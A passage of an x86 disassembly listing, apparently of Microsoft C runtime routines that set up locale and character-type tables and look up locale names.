add esp, 4
test eax, eax
jz short loc_42A49D
mov ecx, [ebp+var_4]
push ecx
call sub_42A7F0
add esp, 4
push 2
mov edx, [ebp+var_4]
push edx
call sub_4174C0
add esp, 8
mov eax, 1
jmp loc_42A55C
; ---------------------------------------------------------------------------
loc_42A49D: ; CODE XREF: sub_42A430+47j
mov eax, [ebp+var_4]
mov ecx, off_4440D0
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_4]
mov ecx, off_4440D0
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_4]
mov ecx, off_4440D0
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_4]
mov off_4440D0, eax
mov ecx, dword_4922D8
push ecx
call sub_42A7F0
add esp, 4
push 2
mov edx, dword_4922D8
push edx
call sub_4174C0
add esp, 8
mov eax, [ebp+var_4]
mov dword_4922D8, eax
xor eax, eax
jmp short loc_42A55C
; ---------------------------------------------------------------------------
loc_42A4FC: ; CODE XREF: sub_42A430+Bj
mov ecx, off_4440D0
mov edx, [ecx]
mov off_4440A0, edx
mov eax, off_4440D0
mov ecx, [eax+4]
mov off_4440A4, ecx
mov edx, off_4440D0
mov eax, [edx+8]
mov off_4440A8, eax
mov off_4440D0, offset off_4440A0
mov ecx, dword_4922D8
push ecx
call sub_42A7F0
add esp, 4
push 2
mov edx, dword_4922D8
push edx
call sub_4174C0
add esp, 8
mov dword_4922D8, 0
xor eax, eax
loc_42A55C: ; CODE XREF: sub_42A430+34j
; sub_42A430+68j ...
mov esp, ebp
pop ebp
retn
sub_42A430 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A560 proc near ; CODE XREF: sub_42A430+3Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
xor eax, eax
mov ax, word_4922F8
mov [ebp+var_4], eax
cmp [ebp+arg_0], 0
jnz short loc_42A586
or eax, 0FFFFFFFFh
jmp loc_42A769
; ---------------------------------------------------------------------------
loc_42A586: ; CODE XREF: sub_42A560+1Cj
mov ecx, [ebp+arg_0]
add ecx, 0Ch
push ecx
push 15h
mov edx, [ebp+var_4]
push edx
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 10h
push edx
push 14h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 14h
push edx
push 16h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 18h
push edx
push 17h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 1Ch
push edx
push 18h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
call sub_42A770
add esp, 4
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
push 50h
mov edx, [ebp+var_4]
push edx
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 24h
push edx
push 51h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 28h
push edx
push 1Ah
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 29h
push edx
push 19h
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Ah
push edx
push 54h
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Bh
push edx
push 55h
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Ch
push edx
push 56h
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Dh
push edx
push 57h
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Eh
push edx
push 52h
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Fh
push edx
push 53h
mov eax, [ebp+var_4]
push eax
push 0
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
loc_42A769: ; CODE XREF: sub_42A560+21j
mov esp, ebp
pop ebp
retn
sub_42A560 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A770 proc near ; CODE XREF: sub_42A560+C8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_42A774: ; CODE XREF: sub_42A770:loc_42A7E7j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42A7E9
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_42A7AD
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_42A7AD
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
sub ecx, 30h
mov edx, [ebp+arg_0]
mov [edx], cl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_42A7E7
; ---------------------------------------------------------------------------
loc_42A7AD: ; CODE XREF: sub_42A770+17j
; sub_42A770+22j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
jnz short loc_42A7DE
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_42A7BE: ; CODE XREF: sub_42A770+6Aj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_42A7BE
jmp short loc_42A7E7
; ---------------------------------------------------------------------------
loc_42A7DE: ; CODE XREF: sub_42A770+46j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_42A7E7: ; CODE XREF: sub_42A770+3Bj
; sub_42A770+6Cj
jmp short loc_42A774
; ---------------------------------------------------------------------------
loc_42A7E9: ; CODE XREF: sub_42A770+Cj
mov esp, ebp
pop ebp
retn
sub_42A770 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A7F0 proc near ; CODE XREF: sub_42A430+4Dp
; sub_42A430+A7p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jnz short loc_42A7FE
jmp loc_42A881
; ---------------------------------------------------------------------------
loc_42A7FE: ; CODE XREF: sub_42A7F0+7j
mov eax, [ebp+arg_0]
cmp dword ptr [eax+0Ch], offset dword_4923F8
jz short loc_42A881
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+20h]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
call sub_4174C0
add esp, 8
loc_42A881: ; CODE XREF: sub_42A7F0+9j
; sub_42A7F0+18j
pop ebp
retn
sub_42A7F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A890 proc near ; DATA XREF: .data:004434B0o
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_E = byte ptr -0Eh
push ebp
mov ebp, esp
sub esp, 30h
mov [ebp+var_2C], 0
mov [ebp+var_28], 0
cmp dword_492170, 0
jz loc_42ABE1
cmp dword_492180, 0
jnz short loc_42A8E0
push offset dword_492180
push 1004h
xor eax, eax
mov ax, word_4922F0
push eax
push 0
call sub_42F050
add esp, 10h
test eax, eax
jz short loc_42A8E0
jmp loc_42ABA2
; ---------------------------------------------------------------------------
loc_42A8E0: ; CODE XREF: sub_42A890+28j
; sub_42A890+49j
push 5Ch
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_416A30
add esp, 10h
mov [ebp+var_30], eax
push 5Eh
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_416A30
add esp, 10h
mov [ebp+var_1C], eax
push 60h
push offset aInitctyp_c ; "initctyp.c"
push 2
push 101h
call sub_416A30
add esp, 10h
mov [ebp+var_2C], eax
push 62h
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_416A30
add esp, 10h
mov [ebp+var_28], eax
cmp [ebp+var_30], 0
jz short loc_42A95C
cmp [ebp+var_1C], 0
jz short loc_42A95C
cmp [ebp+var_2C], 0
jz short loc_42A95C
cmp [ebp+var_28], 0
jnz short loc_42A961
loc_42A95C: ; CODE XREF: sub_42A890+B8j
; sub_42A890+BEj ...
jmp loc_42ABA2
; ---------------------------------------------------------------------------
loc_42A961: ; CODE XREF: sub_42A890+CAj
mov ecx, [ebp+var_2C]
mov [ebp+var_18], ecx
mov [ebp+var_20], 0
jmp short loc_42A979
; ---------------------------------------------------------------------------
loc_42A970: ; CODE XREF: sub_42A890+103j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
loc_42A979: ; CODE XREF: sub_42A890+DEj
cmp [ebp+var_20], 100h
jge short loc_42A995
mov eax, [ebp+var_18]
mov cl, byte ptr [ebp+var_20]
mov [eax], cl
mov edx, [ebp+var_18]
add edx, 1
mov [ebp+var_18], edx
jmp short loc_42A970
; ---------------------------------------------------------------------------
loc_42A995: ; CODE XREF: sub_42A890+F0j
lea eax, [ebp+var_14]
push eax
mov ecx, dword_492180
push ecx
call ds:dword_49447C
test eax, eax
jnz short loc_42A9AF
jmp loc_42ABA2
; ---------------------------------------------------------------------------
loc_42A9AF: ; CODE XREF: sub_42A890+118j
cmp [ebp+var_14], 2
jbe short loc_42A9BA
jmp loc_42ABA2
; ---------------------------------------------------------------------------
loc_42A9BA: ; CODE XREF: sub_42A890+123j
mov edx, [ebp+var_14]
and edx, 0FFFFh
mov dword_442F58, edx
cmp dword_442F58, 1
jle short loc_42AA29
lea eax, [ebp+var_E]
mov [ebp+var_18], eax
jmp short loc_42A9E3
; ---------------------------------------------------------------------------
loc_42A9DA: ; CODE XREF: sub_42A890:loc_42AA27j
mov ecx, [ebp+var_18]
add ecx, 2
mov [ebp+var_18], ecx
loc_42A9E3: ; CODE XREF: sub_42A890+148j
mov edx, [ebp+var_18]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_42AA29
mov ecx, [ebp+var_18]
xor edx, edx
mov dl, [ecx+1]
test edx, edx
jz short loc_42AA29
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_20], ecx
jmp short loc_42AA0F
; ---------------------------------------------------------------------------
loc_42AA06: ; CODE XREF: sub_42A890+195j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
loc_42AA0F: ; CODE XREF: sub_42A890+174j
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax+1]
cmp [ebp+var_20], ecx
jg short loc_42AA27
mov edx, [ebp+var_2C]
add edx, [ebp+var_20]
mov byte ptr [edx], 0
jmp short loc_42AA06
; ---------------------------------------------------------------------------
loc_42AA27: ; CODE XREF: sub_42A890+18Aj
jmp short loc_42A9DA
; ---------------------------------------------------------------------------
loc_42AA29: ; CODE XREF: sub_42A890+140j
; sub_42A890+15Cj ...
push 0
push 0
push 0
mov eax, [ebp+var_30]
add eax, 2
push eax
push 100h
mov ecx, [ebp+var_2C]
push ecx
push 1
call sub_426F40
add esp, 1Ch
test eax, eax
jnz short loc_42AA52
jmp loc_42ABA2
; ---------------------------------------------------------------------------
loc_42AA52: ; CODE XREF: sub_42A890+1BBj
mov edx, [ebp+var_30]
mov word ptr [edx], 0
mov eax, [ebp+var_28]
mov [ebp+var_24], eax
mov [ebp+var_20], 0
jmp short loc_42AA72
; ---------------------------------------------------------------------------
loc_42AA69: ; CODE XREF: sub_42A890+1FEj
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
loc_42AA72: ; CODE XREF: sub_42A890+1D7j
cmp [ebp+var_20], 100h
jge short loc_42AA90
mov edx, [ebp+var_24]
mov ax, word ptr [ebp+var_20]
mov [edx], ax
mov ecx, [ebp+var_24]
add ecx, 2
mov [ebp+var_24], ecx
jmp short loc_42AA69
; ---------------------------------------------------------------------------
loc_42AA90: ; CODE XREF: sub_42A890+1E9j
push 0
push 0
mov edx, [ebp+var_1C]
add edx, 2
push edx
push 100h
mov eax, [ebp+var_28]
push eax
push 1
call sub_42F2F0
add esp, 18h
test eax, eax
jnz short loc_42AAB7
jmp loc_42ABA2
; ---------------------------------------------------------------------------
loc_42AAB7: ; CODE XREF: sub_42A890+220j
mov ecx, [ebp+var_1C]
mov word ptr [ecx], 0
cmp dword_442F58, 1
jle short loc_42AB23
lea edx, [ebp+var_E]
mov [ebp+var_18], edx
jmp short loc_42AAD9
; ---------------------------------------------------------------------------
loc_42AAD0: ; CODE XREF: sub_42A890:loc_42AB21j
mov eax, [ebp+var_18]
add eax, 2
mov [ebp+var_18], eax
loc_42AAD9: ; CODE XREF: sub_42A890+23Ej
mov ecx, [ebp+var_18]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_42AB23
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax+1]
test ecx, ecx
jz short loc_42AB23
mov edx, [ebp+var_18]
xor eax, eax
mov al, [edx]
mov [ebp+var_20], eax
jmp short loc_42AB05
; ---------------------------------------------------------------------------
loc_42AAFC: ; CODE XREF: sub_42A890+28Fj
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
loc_42AB05: ; CODE XREF: sub_42A890+26Aj
mov edx, [ebp+var_18]
xor eax, eax
mov al, [edx+1]
cmp [ebp+var_20], eax
jg short loc_42AB21
mov ecx, [ebp+var_20]
mov edx, [ebp+var_30]
mov word ptr [edx+ecx*2+2], 8000h
jmp short loc_42AAFC
; ---------------------------------------------------------------------------
loc_42AB21: ; CODE XREF: sub_42A890+280j
jmp short loc_42AAD0
; ---------------------------------------------------------------------------
loc_42AB23: ; CODE XREF: sub_42A890+236j
; sub_42A890+252j ...
mov eax, [ebp+var_30]
add eax, 2
mov off_442D4C, eax
mov ecx, [ebp+var_1C]
add ecx, 2
mov off_442D50, ecx
cmp dword_4922DC, 0
jz short loc_42AB54
push 2
mov edx, dword_4922DC
push edx
call sub_4174C0
add esp, 8
loc_42AB54: ; CODE XREF: sub_42A890+2B1j
mov eax, [ebp+var_30]
mov dword_4922DC, eax
cmp dword_4922E0, 0
jz short loc_42AB76
push 2
mov ecx, dword_4922E0
push ecx
call sub_4174C0
add esp, 8
loc_42AB76: ; CODE XREF: sub_42A890+2D3j
mov edx, [ebp+var_1C]
mov dword_4922E0, edx
push 2
mov eax, [ebp+var_2C]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+var_28]
push ecx
call sub_4174C0
add esp, 8
xor eax, eax
jmp loc_42AC2C
; ---------------------------------------------------------------------------
loc_42ABA2: ; CODE XREF: sub_42A890+4Bj
; sub_42A890:loc_42A95Cj ...
push 2
mov edx, [ebp+var_30]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+var_1C]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+var_2C]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+var_28]
push edx
call sub_4174C0
add esp, 8
mov eax, 1
jmp short loc_42AC2C
; ---------------------------------------------------------------------------
loc_42ABE1: ; CODE XREF: sub_42A890+1Bj
mov off_442D4C, offset word_442D56
mov off_442D50, offset word_442D56
push 2
mov eax, dword_4922DC
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, dword_4922E0
push ecx
call sub_4174C0
add esp, 8
mov dword_4922DC, 0
mov dword_4922E0, 0
xor eax, eax
loc_42AC2C: ; CODE XREF: sub_42A890+30Dj
; sub_42A890+34Fj
mov esp, ebp
pop ebp
retn
sub_42A890 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AC30 proc near ; DATA XREF: .data:004434A4o
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_42AC30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AC40 proc near ; CODE XREF: .text:0042346Ep
; sub_423B20+7Bp
var_24 = dword ptr -24h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+arg_4]
lea ecx, [ecx+0]
loc_42AC54: ; CODE XREF: sub_42AC40+1Fj
mov al, [edx]
or al, al
jz short loc_42AC61
inc edx
bts [esp+24h+var_24], eax
jmp short loc_42AC54
; ---------------------------------------------------------------------------
loc_42AC61: ; CODE XREF: sub_42AC40+18j
mov esi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
nop
loc_42AC68: ; CODE XREF: sub_42AC40+34j
inc ecx
mov al, [esi]
or al, al
jz short loc_42AC76
inc esi
bt [esp+24h+var_24], eax
jnb short loc_42AC68
loc_42AC76: ; CODE XREF: sub_42AC40+2Dj
mov eax, ecx
add esp, 20h
pop esi
leave
retn
sub_42AC40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AC80 proc near ; CODE XREF: .text:0042338Dp
var_24 = dword ptr -24h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+arg_4]
lea ecx, [ecx+0]
loc_42AC94: ; CODE XREF: sub_42AC80+1Fj
mov al, [edx]
or al, al
jz short loc_42ACA1
inc edx
bts [esp+24h+var_24], eax
jmp short loc_42AC94
; ---------------------------------------------------------------------------
loc_42ACA1: ; CODE XREF: sub_42AC80+18j
mov esi, [ebp+arg_0]
loc_42ACA4: ; CODE XREF: sub_42AC80+2Fj
mov al, [esi]
or al, al
jz short loc_42ACB4
inc esi
bt [esp+24h+var_24], eax
jnb short loc_42ACA4
lea eax, [esi-1]
loc_42ACB4: ; CODE XREF: sub_42AC80+28j
add esp, 20h
pop esi
leave
retn
sub_42AC80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42ACC0 proc near ; CODE XREF: sub_423930+D3p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
cmp dword_492328, 0
jnz short loc_42ACF2
call sub_42B790
test eax, eax
jz short loc_42ACE2
mov eax, ds:dword_4943F0
mov [ebp+var_8], eax
jmp short loc_42ACE9
; ---------------------------------------------------------------------------
loc_42ACE2: ; CODE XREF: sub_42ACC0+16j
mov [ebp+var_8], offset sub_42B7E0
loc_42ACE9: ; CODE XREF: sub_42ACC0+20j
mov ecx, [ebp+var_8]
mov dword_492328, ecx
loc_42ACF2: ; CODE XREF: sub_42ACC0+Dj
cmp [ebp+arg_0], 0
jnz short loc_42AD02
call sub_42B5E0
jmp loc_42ADCE
; ---------------------------------------------------------------------------
loc_42AD02: ; CODE XREF: sub_42ACC0+36j
mov edx, [ebp+arg_0]
mov dword_492318, edx
cmp dword_492318, 0
jz short loc_42AD34
mov eax, dword_492318
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42AD34
push offset dword_492318
push 40h
push offset off_443CC0
call sub_42AEC0
add esp, 0Ch
loc_42AD34: ; CODE XREF: sub_42ACC0+52j
; sub_42ACC0+5Ej
mov edx, [ebp+arg_0]
add edx, 40h
mov dword_49231C, edx
cmp dword_49231C, 0
jz short loc_42AD69
mov eax, dword_49231C
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42AD69
push offset dword_49231C
push 16h
push offset off_443C08
call sub_42AEC0
add esp, 0Ch
loc_42AD69: ; CODE XREF: sub_42ACC0+87j
; sub_42ACC0+93j
mov dword_492320, 0
cmp dword_492318, 0
jz short loc_42ADAD
mov edx, dword_492318
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42ADAD
cmp dword_49231C, 0
jz short loc_42ADA6
mov ecx, dword_49231C
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_42ADA6
call sub_42AF50
jmp short loc_42ADAB
; ---------------------------------------------------------------------------
loc_42ADA6: ; CODE XREF: sub_42ACC0+D0j
; sub_42ACC0+DDj
call sub_42B340
loc_42ADAB: ; CODE XREF: sub_42ACC0+E4j
jmp short loc_42ADCE
; ---------------------------------------------------------------------------
loc_42ADAD: ; CODE XREF: sub_42ACC0+BAj
; sub_42ACC0+C7j
cmp dword_49231C, 0
jz short loc_42ADC9
mov eax, dword_49231C
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42ADC9
call sub_42B4E0
jmp short loc_42ADCE
; ---------------------------------------------------------------------------
loc_42ADC9: ; CODE XREF: sub_42ACC0+F4j
; sub_42ACC0+100j
call sub_42B5E0
loc_42ADCE: ; CODE XREF: sub_42ACC0+3Dj
; sub_42ACC0:loc_42ADABj ...
cmp dword_492320, 0
jnz short loc_42ADDE
xor eax, eax
jmp loc_42AEBC
; ---------------------------------------------------------------------------
loc_42ADDE: ; CODE XREF: sub_42ACC0+115j
mov edx, [ebp+arg_0]
add edx, 80h
push edx
call sub_42B610
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42AE0C
mov eax, [ebp+var_4]
and eax, 0FFFFh
push eax
call ds:dword_4942B0
test eax, eax
jnz short loc_42AE13
loc_42AE0C: ; CODE XREF: sub_42ACC0+137j
xor eax, eax
jmp loc_42AEBC
; ---------------------------------------------------------------------------
loc_42AE13: ; CODE XREF: sub_42ACC0+14Aj
push 1
mov ecx, dword_492308
push ecx
call ds:dword_4942B4
test eax, eax
jnz short loc_42AE2D
xor eax, eax
jmp loc_42AEBC
; ---------------------------------------------------------------------------
loc_42AE2D: ; CODE XREF: sub_42ACC0+164j
cmp [ebp+arg_4], 0
jz short loc_42AE58
mov edx, [ebp+arg_4]
mov ax, word ptr dword_492308
mov [edx], ax
mov ecx, [ebp+arg_4]
mov dx, word ptr dword_492324
mov [ecx+2], dx
mov eax, [ebp+arg_4]
mov cx, word ptr [ebp+var_4]
mov [eax+4], cx
loc_42AE58: ; CODE XREF: sub_42ACC0+171j
cmp [ebp+arg_8], 0
jz short loc_42AEB7
push 40h
mov edx, [ebp+arg_8]
push edx
push 1001h
mov eax, dword_492308
push eax
call dword_492328
test eax, eax
jnz short loc_42AE7D
xor eax, eax
jmp short loc_42AEBC
; ---------------------------------------------------------------------------
loc_42AE7D: ; CODE XREF: sub_42ACC0+1B7j
push 40h
mov ecx, [ebp+arg_8]
add ecx, 40h
push ecx
push 1002h
mov edx, dword_492324
push edx
call dword_492328
test eax, eax
jnz short loc_42AEA0
xor eax, eax
jmp short loc_42AEBC
; ---------------------------------------------------------------------------
loc_42AEA0: ; CODE XREF: sub_42ACC0+1DAj
push 0Ah
mov eax, [ebp+arg_8]
add eax, 80h
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_4262C0
add esp, 0Ch
loc_42AEB7: ; CODE XREF: sub_42ACC0+19Cj
mov eax, 1
loc_42AEBC: ; CODE XREF: sub_42ACC0+119j
; sub_42ACC0+14Ej ...
mov esp, ebp
pop ebp
retn
sub_42ACC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AEC0 proc near ; CODE XREF: sub_42ACC0+6Cp
; sub_42ACC0+A1p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 1
mov [ebp+var_C], 0
loc_42AED4: ; CODE XREF: sub_42AEC0:loc_42AF3Cj
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_4]
jg short loc_42AF3E
cmp [ebp+var_8], 0
jz short loc_42AF3E
mov eax, [ebp+var_C]
add eax, [ebp+arg_4]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*8]
push eax
mov ecx, [ebp+arg_8]
mov edx, [ecx]
push edx
call sub_42F560
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_42AF22
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*8+4]
mov eax, [ebp+arg_8]
mov [eax], edx
jmp short loc_42AF3C
; ---------------------------------------------------------------------------
loc_42AF22: ; CODE XREF: sub_42AEC0+4Fj
cmp [ebp+var_8], 0
jge short loc_42AF33
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+arg_4], ecx
jmp short loc_42AF3C
; ---------------------------------------------------------------------------
loc_42AF33: ; CODE XREF: sub_42AEC0+66j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_C], edx
loc_42AF3C: ; CODE XREF: sub_42AEC0+60j
; sub_42AEC0+71j
jmp short loc_42AED4
; ---------------------------------------------------------------------------
loc_42AF3E: ; CODE XREF: sub_42AEC0+1Aj
; sub_42AEC0+20j
mov esp, ebp
pop ebp
retn
sub_42AEC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AF50 proc near ; CODE XREF: sub_42ACC0+DFp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, dword_492318
push eax
call sub_418E70
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_492314, ecx
mov edx, dword_49231C
push edx
call sub_418E70
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_49230C, ecx
mov dword_492308, 0
cmp dword_492314, 0
jz short loc_42AFA9
mov [ebp+var_4], 2
jmp short loc_42AFBB
; ---------------------------------------------------------------------------
loc_42AFA9: ; CODE XREF: sub_42AF50+4Ej
mov edx, dword_492318
push edx
call sub_42B9F0
add esp, 4
mov [ebp+var_4], eax
loc_42AFBB: ; CODE XREF: sub_42AF50+57j
mov eax, [ebp+var_4]
mov dword_492310, eax
push 1
push offset sub_42B010
call ds:dword_4942AC
mov ecx, dword_492320
and ecx, 100h
test ecx, ecx
jz short loc_42AFFC
mov edx, dword_492320
and edx, 200h
test edx, edx
jz short loc_42AFFC
mov eax, dword_492320
and eax, 7
test eax, eax
jnz short loc_42B006
loc_42AFFC: ; CODE XREF: sub_42AF50+8Ej
; sub_42AF50+9Ej
mov dword_492320, 0
loc_42B006: ; CODE XREF: sub_42AF50+AAj
mov esp, ebp
pop ebp
retn
sub_42AF50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B010 proc near ; DATA XREF: sub_42AF50+75o
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_42B970
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_49230C
neg edx
sbb edx, edx
and edx, 0FFFFF005h
add edx, 1002h
push edx
mov eax, [ebp+var_7C]
push eax
call dword_492328
test eax, eax
jnz short loc_42B064
mov dword_492320, 0
mov eax, 1
jmp loc_42B32E
; ---------------------------------------------------------------------------
